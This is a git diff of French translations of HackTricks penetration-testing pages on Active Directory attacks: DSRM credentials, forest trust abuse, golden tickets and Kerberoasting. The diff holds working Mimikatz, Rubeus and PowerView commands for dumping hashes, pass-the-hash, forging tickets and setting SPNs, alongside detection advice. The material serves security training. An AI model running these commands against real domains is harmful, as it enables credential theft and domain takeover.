-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-# Identifiants DSRM +# Informations d'identification DSRM -Il existe un compte **administrateur local** dans chaque **DC**. Ayant des privilèges d'administrateur sur cette machine, vous pouvez utiliser mimikatz pour **extraire le hash de l'administrateur local**. Ensuite, en modifiant un registre pour **activer ce mot de passe**, vous pouvez accéder à distance à cet utilisateur Administrateur local.\ -D'abord, nous devons **extraire** le **hash** de l'utilisateur **Administrateur local** à l'intérieur du DC : +Il y a un compte **administrateur local** dans chaque **DC**. En ayant des privilèges d'administrateur sur cette machine, vous pouvez utiliser mimikatz pour **extraire le hash de l'administrateur local**. Ensuite, en modifiant une entrée de registre pour **activer ce mot de passe**, vous pouvez accéder à distance à cet utilisateur administrateur local.\ +Tout d'abord, nous devons **extraire** le **hash** de l'utilisateur **administrateur local** à l'intérieur du DC: ```bash Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' ``` -Ensuite, nous devons vérifier si ce compte fonctionnera, et si la clé de registre a la valeur "0" ou si elle n'existe pas, vous devez la **définir sur "2"** : +Ensuite, nous devons vérifier si ce compte fonctionnera, et si la clé de registre a la valeur "0" ou si elle n'existe pas, vous devez **la définir sur "2"**: ```bash Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 #Change value to "2" ``` -Ensuite, en utilisant un PTH, vous pouvez **lister le contenu de C$ ou même obtenir un shell**. Notez que pour créer une nouvelle session powershell avec ce hash en mémoire (pour le PTH), **le "domaine" utilisé est juste le nom de la machine DC :** +Ensuite, en utilisant un PTH, vous pouvez **lister le contenu de C$ ou même obtenir un shell**. Remarquez que pour créer une nouvelle session PowerShell avec ce hachage en mémoire (pour le PTH), **le "domaine" utilisé est simplement le nom de la machine DC :** ```bash sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe #And in new spawned powershell you now can access via NTLM the content of C$ @@ -37,18 +37,3 @@ Plus d'informations à ce sujet sur : [https://adsecurity.org/?p=1714](https://a ## Atténuation * ID d'événement 4657 - Audit de la création/modification de `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior` - - -
- -Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md index a6d7e1b83..c964a11ea 100644 --- a/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md +++ b/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md @@ -2,15 +2,15 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -42,7 +42,7 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F ``` ## Attaque du compte de confiance -Une vulnérabilité de sécurité existe lorsqu'une relation de confiance est établie entre deux domaines, identifiés ici comme le domaine **A** et le domaine **B**, où le domaine **B** étend sa confiance au domaine **A**. Dans cette configuration, un compte spécial est créé dans le domaine **A** pour le domaine **B**, qui joue un rôle crucial dans le processus d'authentification entre les deux domaines. Ce compte, associé au domaine **B**, est utilisé pour crypter les tickets permettant d'accéder aux services à travers les domaines. +Une vulnérabilité de sécurité existe lorsqu'une relation de confiance est établie entre deux domaines, identifiés ici comme le domaine **A** et le domaine **B**, où le domaine **B** étend sa confiance au domaine **A**. Dans cette configuration, un compte spécial est créé dans le domaine **A** pour le domaine **B**, qui joue un rôle crucial dans le processus d'authentification entre les deux domaines. Ce compte, associé au domaine **B**, est utilisé pour chiffrer les tickets permettant d'accéder aux services à travers les domaines. L'aspect critique à comprendre ici est que le mot de passe et le hash de ce compte spécial peuvent être extraits d'un Contrôleur de Domaine dans le domaine **A** en utilisant un outil en ligne de commande. La commande pour effectuer cette action est : ```powershell @@ -50,7 +50,7 @@ Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.lo ``` Cette extraction est possible car le compte, identifié par un **$** après son nom, est actif et appartient au groupe "Domain Users" du domaine **A**, héritant ainsi des autorisations associées à ce groupe. Cela permet aux individus de s'authentifier contre le domaine **A** en utilisant les identifiants de ce compte. -**Avertissement :** Il est possible de tirer parti de cette situation pour obtenir un point d'entrée dans le domaine **A** en tant qu'utilisateur, bien que avec des autorisations limitées. Cependant, cet accès est suffisant pour effectuer une énumération sur le domaine **A**. +**Attention :** Il est possible de tirer parti de cette situation pour obtenir un point d'entrée dans le domaine **A** en tant qu'utilisateur, bien que avec des autorisations limitées. Cependant, cet accès est suffisant pour effectuer une énumération sur le domaine **A**. Dans un scénario où `ext.local` est le domaine faisant confiance et `root.local` est le domaine de confiance, un compte utilisateur nommé `EXT$` serait créé dans `root.local`. À l'aide d'outils spécifiques, il est possible de décharger les clés de confiance Kerberos, révélant les identifiants de `EXT$` dans `root.local`. La commande pour y parvenir est : ```bash @@ -64,9 +64,9 @@ Cette étape d'authentification ouvre la possibilité d'énumérer et même d'ex ```bash .\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local ``` -### Collecte du mot de passe de confiance en clair +### Collecte du mot de passe de confiance en texte clair -Dans le flux précédent, le hachage de confiance a été utilisé au lieu du **mot de passe en clair** (qui a également été **extrait par mimikatz**). +Dans le flux précédent, le hachage de confiance a été utilisé à la place du **mot de passe en texte clair** (qui a également été **extrait par mimikatz**). Le mot de passe en clair peut être obtenu en convertissant la sortie \[ CLEAR ] de mimikatz de l'hexadécimal et en supprimant les octets nuls '\x00': @@ -91,7 +91,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index 50e922de6..cd271ac89 100644 --- a/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -16,7 +16,7 @@ Dans ce scénario, un domaine externe vous fait confiance (ou les deux se font m ## Énumération -Tout d'abord, vous devez **énumérer** la **confiance** : +Tout d'abord, vous devez **énumérer** la **confiance**: ```powershell Get-DomainTrust SourceName : a.domain.local --> Current domain @@ -66,9 +66,9 @@ IsDomain : True # You may also enumerate where foreign groups and/or users have been assigned # local admin access via Restricted Group by enumerating the GPOs in the foreign domain. ``` -Dans l'énumération précédente, il a été découvert que l'utilisateur **`crossuser`** est à l'intérieur du groupe **`External Admins`** qui a un **accès administratif** à l'intérieur du **DC du domaine externe**. +Dans l'énumération précédente, il a été découvert que l'utilisateur **`crossuser`** est membre du groupe **`External Admins`** qui a un **accès administratif** dans le **DC du domaine externe**. -## Accès Initial +## Accès initial Si vous n'avez trouvé aucun accès **spécial** de votre utilisateur dans l'autre domaine, vous pouvez toujours revenir à la méthodologie AD et essayer de **privilégier un utilisateur non privilégié** (des choses comme le kerberoasting par exemple) : @@ -124,7 +124,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d ```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) diff --git a/windows-hardening/active-directory-methodology/golden-ticket.md b/windows-hardening/active-directory-methodology/golden-ticket.md index 03844a1ba..b33c525cb 100644 --- a/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/windows-hardening/active-directory-methodology/golden-ticket.md @@ -6,21 +6,21 @@ Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Ticket d'or -Une attaque de **Ticket d'or** consiste en la **création d'un Ticket Granting Ticket (TGT) légitime en se faisant passer pour n'importe quel utilisateur** en utilisant le **hachage NTLM du compte krbtgt de l'Active Directory (AD)**. Cette technique est particulièrement avantageuse car elle **permet d'accéder à n'importe quel service ou machine** dans le domaine en tant qu'utilisateur usurpé. Il est crucial de se rappeler que les **informations d'identification du compte krbtgt ne sont jamais mises à jour automatiquement**. +Une attaque de **Ticket d'or** consiste en la **création d'un Ticket Granting Ticket (TGT) légitime en se faisant passer pour n'importe quel utilisateur** en utilisant le **hachage NTLM du compte krbtgt de l'Active Directory (AD)**. Cette technique est particulièrement avantageuse car elle **permet l'accès à n'importe quel service ou machine** dans le domaine en tant qu'utilisateur usurpé. Il est crucial de se rappeler que les **informations d'identification du compte krbtgt ne sont jamais mises à jour automatiquement**. Pour **acquérir le hachage NTLM** du compte krbtgt, diverses méthodes peuvent être utilisées. Il peut être extrait du **processus Local Security Authority Subsystem Service (LSASS)** ou du fichier **NT Directory Services (NTDS.dit)** situé sur n'importe quel Contrôleur de Domaine (DC) dans le domaine. De plus, **exécuter une attaque DCsync** est une autre stratégie pour obtenir ce hachage NTLM, qui peut être réalisée à l'aide d'outils tels que le **module lsadump::dcsync** dans Mimikatz ou le **script secretsdump.py** d'Impacket. Il est important de souligner que pour effectuer ces opérations, **des privilèges d'administrateur de domaine ou un niveau d'accès similaire sont généralement requis**. -Bien que le hachage NTLM serve de méthode viable à cette fin, il est **vivement recommandé** de **forger des tickets en utilisant les clés de chiffrement avancées du standard AES (AES128 et AES256)** pour des raisons de sécurité opérationnelle. +Bien que le hachage NTLM serve de méthode viable à cette fin, il est **fortement recommandé** de **forger des tickets en utilisant les clés de chiffrement avancées du standard AES (AES128 et AES256)** pour des raisons de sécurité opérationnelle. {% code title="Depuis Linux" %} @@ -43,11 +43,11 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1 ``` {% endcode %} -**Une fois** que vous avez le **golden ticket injecté**, vous pouvez accéder aux fichiers partagés **(C$)**, et exécuter des services et WMI, donc vous pourriez utiliser **psexec** ou **wmiexec** pour obtenir un shell (il semble que vous ne pouvez pas obtenir un shell via winrm). +**Une fois** que vous avez le **golden Ticket injecté**, vous pouvez accéder aux fichiers partagés **(C$)**, et exécuter des services et WMI, donc vous pourriez utiliser **psexec** ou **wmiexec** pour obtenir un shell (il semble que vous ne pouvez pas obtenir un shell via winrm). ### Contourner les détections courantes -Les moyens les plus fréquents de détecter un golden ticket sont en **inspectant le trafic Kerberos** sur le réseau. Par défaut, Mimikatz **signe le TGT pour 10 ans**, ce qui se démarquera comme anormal dans les demandes TGS ultérieures effectuées avec celui-ci. +Les moyens les plus fréquents de détecter un golden ticket sont en **inspectant le trafic Kerberos** sur le réseau. Par défaut, Mimikatz **signe le TGT pour 10 ans**, ce qui ressortira comme anormal dans les demandes TGS ultérieures effectuées avec celui-ci. `Durée de vie : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM` @@ -55,7 +55,7 @@ Utilisez les paramètres `/startoffset`, `/endin` et `/renewmax` pour contrôler ``` Get-DomainPolicy | select -expand KerberosPolicy ``` -Malheureusement, la durée de vie du TGT n'est pas enregistrée dans les 4769, donc vous ne trouverez pas cette information dans les journaux d'événements Windows. Cependant, ce que vous pouvez corréler est **de voir des 4769 sans un 4768 précédent**. Il **n'est pas possible de demander un TGS sans un TGT**, et s'il n'y a aucun enregistrement d'un TGT émis, nous pouvons en déduire qu'il a été falsifié hors ligne. +Malheureusement, la durée de vie du TGT n'est pas enregistrée dans les 4769, donc vous ne trouverez pas cette information dans les journaux d'événements Windows. Cependant, ce que vous pouvez corréler est **voir des 4769 sans un 4768 précédent**. Il **n'est pas possible de demander un TGS sans un TGT**, et s'il n'y a aucun enregistrement d'un TGT émis, nous pouvons en déduire qu'il a été falsifié hors ligne. Pour **contourner cette détection**, vérifiez les tickets en diamant : @@ -69,7 +69,7 @@ Pour **contourner cette détection**, vérifiez les tickets en diamant : * 4672 : Connexion administrateur * `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property` -D'autres petites astuces que les défenseurs peuvent faire sont **d'alerter sur les 4769 pour les utilisateurs sensibles** tels que le compte administrateur par défaut du domaine. +D'autres petites astuces que les défenseurs peuvent faire sont **alerter sur les 4769 pour les utilisateurs sensibles** tels que le compte administrateur par défaut du domaine. ## Références * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) diff --git a/windows-hardening/active-directory-methodology/kerberoast.md b/windows-hardening/active-directory-methodology/kerberoast.md index 40931db62..ffaf50d94 100644 --- a/windows-hardening/active-directory-methodology/kerberoast.md +++ b/windows-hardening/active-directory-methodology/kerberoast.md @@ -4,41 +4,41 @@ \ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui à : +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Kerberoast -Le Kerberoasting se concentre sur l'acquisition de **tickets TGS**, en particulier ceux liés aux services fonctionnant sous des **comptes utilisateur** dans **Active Directory (AD)**, à l'exclusion des **comptes d'ordinateur**. Le chiffrement de ces tickets utilise des clés provenant des **mots de passe des utilisateurs**, permettant la possibilité de **cassage de crédentials hors ligne**. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété **"ServicePrincipalName"** non vide. +Le Kerberoasting se concentre sur l'acquisition de **tickets TGS**, en particulier ceux liés aux services fonctionnant sous des **comptes utilisateur** dans **Active Directory (AD)**, à l'exclusion des **comptes d'ordinateur**. Le chiffrement de ces tickets utilise des clés provenant des **mots de passe des utilisateurs**, permettant la possibilité de **craquage des informations d'identification hors ligne**. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété **"ServicePrincipalName"** non vide. Pour exécuter le **Kerberoasting**, un compte de domaine capable de demander des **tickets TGS** est essentiel ; cependant, ce processus ne nécessite pas de **privilèges spéciaux**, le rendant accessible à toute personne disposant de **justes identifiants de domaine**. ### Points clés : - Le **Kerberoasting** cible les **tickets TGS** des **services de compte utilisateur** dans **AD**. -- Les tickets chiffrés avec des clés provenant des **mots de passe des utilisateurs** peuvent être **cassés hors ligne**. +- Les tickets chiffrés avec des clés provenant des **mots de passe des utilisateurs** peuvent être **craqués hors ligne**. - Un service est identifié par un **ServicePrincipalName** qui n'est pas nul. - Aucun **privilège spécial** n'est nécessaire, juste des **identifiants de domaine valides**. ### **Attaque** {% hint style="warning" %} -Les outils de **Kerberoasting** demandent généralement un chiffrement **`RC4`** lors de l'attaque et de l'initiation des demandes TGS-REQ. Cela est dû au fait que **RC4 est** [**plus faible**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) et plus facile à casser hors ligne à l'aide d'outils tels que Hashcat que d'autres algorithmes de chiffrement tels que AES-128 et AES-256.\ -Les hachages RC4 (type 23) commencent par **`$krb5tgs$23$*`** tandis que ceux d'AES-256 (type 18) commencent par **`$krb5tgs$18$*`**. +Les **outils de Kerberoasting** demandent généralement un chiffrement **`RC4`** lors de l'attaque et de l'initiation des demandes TGS-REQ. Cela est dû au fait que **RC4 est** [**plus faible**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) et plus facile à craquer hors ligne à l'aide d'outils tels que Hashcat que d'autres algorithmes de chiffrement tels que AES-128 et AES-256.\ +Les hachages RC4 (type 23) commencent par **`$krb5tgs$23$*`** tandis que les AES-256 (type 18) commencent par **`$krb5tgs$18$*`**. {% endhint %} #### **Linux** @@ -126,20 +126,20 @@ Si vous avez **suffisamment de permissions** sur un utilisateur, vous pouvez le ```bash Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose ``` -Vous pouvez trouver des **outils** utiles pour les attaques **kerberoast** ici : [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) +Vous pouvez trouver des **outils** utiles pour les attaques **kerberoast** ici: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -Si vous rencontrez cette **erreur** depuis Linux : **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`**, c'est à cause de l'heure locale, vous devez synchroniser l'hôte avec le contrôleur de domaine. Voici quelques options : +Si vous rencontrez cette **erreur** depuis Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`**, c'est à cause de l'heure locale, vous devez synchroniser l'hôte avec le contrôleur de domaine. Voici quelques options: -* `ntpdate ` - Obsolète à partir d'Ubuntu 16.04 +* `ntpdate ` - Obsolète depuis Ubuntu 16.04 * `rdate -n ` ### Atténuation -Le Kerberoasting peut être effectué avec un haut degré de discrétion s'il est exploitable. Pour détecter cette activité, il convient de prêter attention à l'**ID d'événement de sécurité 4769**, qui indique qu'un ticket Kerberos a été demandé. Cependant, en raison de la fréquence élevée de cet événement, des filtres spécifiques doivent être appliqués pour isoler les activités suspectes : +Le Kerberoasting peut être effectué avec un haut degré de discrétion s'il est exploitable. Pour détecter cette activité, il convient de prêter attention à l'**ID d'événement de sécurité 4769**, qui indique qu'un ticket Kerberos a été demandé. Cependant, en raison de la fréquence élevée de cet événement, des filtres spécifiques doivent être appliqués pour isoler les activités suspectes: - Le nom du service ne doit pas être **krbtgt**, car il s'agit d'une demande normale. - Les noms de service se terminant par **$** doivent être exclus pour éviter d'inclure les comptes machine utilisés pour les services. -- Les demandes provenant de machines doivent être filtrées en excluant les noms de compte formatés comme **machine@domain**. +- Les demandes provenant des machines doivent être filtrées en excluant les noms de compte formatés comme **machine@domain**. - Seules les demandes de ticket réussies doivent être prises en compte, identifiées par un code d'erreur de **'0x0'**. - **Surtout**, le type de chiffrement du ticket doit être **0x17**, ce qui est souvent utilisé dans les attaques de Kerberoasting. ```bash @@ -155,7 +155,7 @@ En mettant en œuvre ces mesures, les organisations peuvent réduire significati ## Kerberoast sans compte de domaine -En **septembre 2022**, une nouvelle méthode pour exploiter un système a été révélée par un chercheur nommé Charlie Clark, partagée via sa plateforme [exploit.ph](https://exploit.ph/). Cette méthode permet l'acquisition de **Tickets de Service (ST)** via une requête **KRB_AS_REQ**, qui ne nécessite pas le contrôle d'un compte Active Directory. Essentiellement, si un principal est configuré de manière à ne pas nécessiter de pré-authentification - un scénario similaire à ce qui est connu dans le domaine de la cybersécurité comme une attaque **AS-REP Roasting** - cette caractéristique peut être exploitée pour manipuler le processus de requête. Plus précisément, en modifiant l'attribut **sname** dans le corps de la requête, le système est trompé pour émettre un **ST** au lieu du Ticket Granting Ticket (TGT) chiffré standard. +En **septembre 2022**, une nouvelle méthode pour exploiter un système a été révélée par un chercheur nommé Charlie Clark, partagée via sa plateforme [exploit.ph](https://exploit.ph/). Cette méthode permet l'acquisition de **Tickets de Service (ST)** via une requête **KRB_AS_REQ**, qui ne nécessite pas le contrôle d'un compte Active Directory. Essentiellement, si un principal est configuré de manière à ne pas nécessiter d'authentification préalable - un scénario similaire à ce qui est connu dans le domaine de la cybersécurité comme une attaque de **Roasting AS-REP** - cette caractéristique peut être exploitée pour manipuler le processus de requête. Plus précisément, en modifiant l'attribut **sname** dans le corps de la requête, le système est trompé pour émettre un **ST** au lieu du Ticket Granting Ticket (TGT) chiffré standard. La technique est entièrement expliquée dans cet article : [article de blog 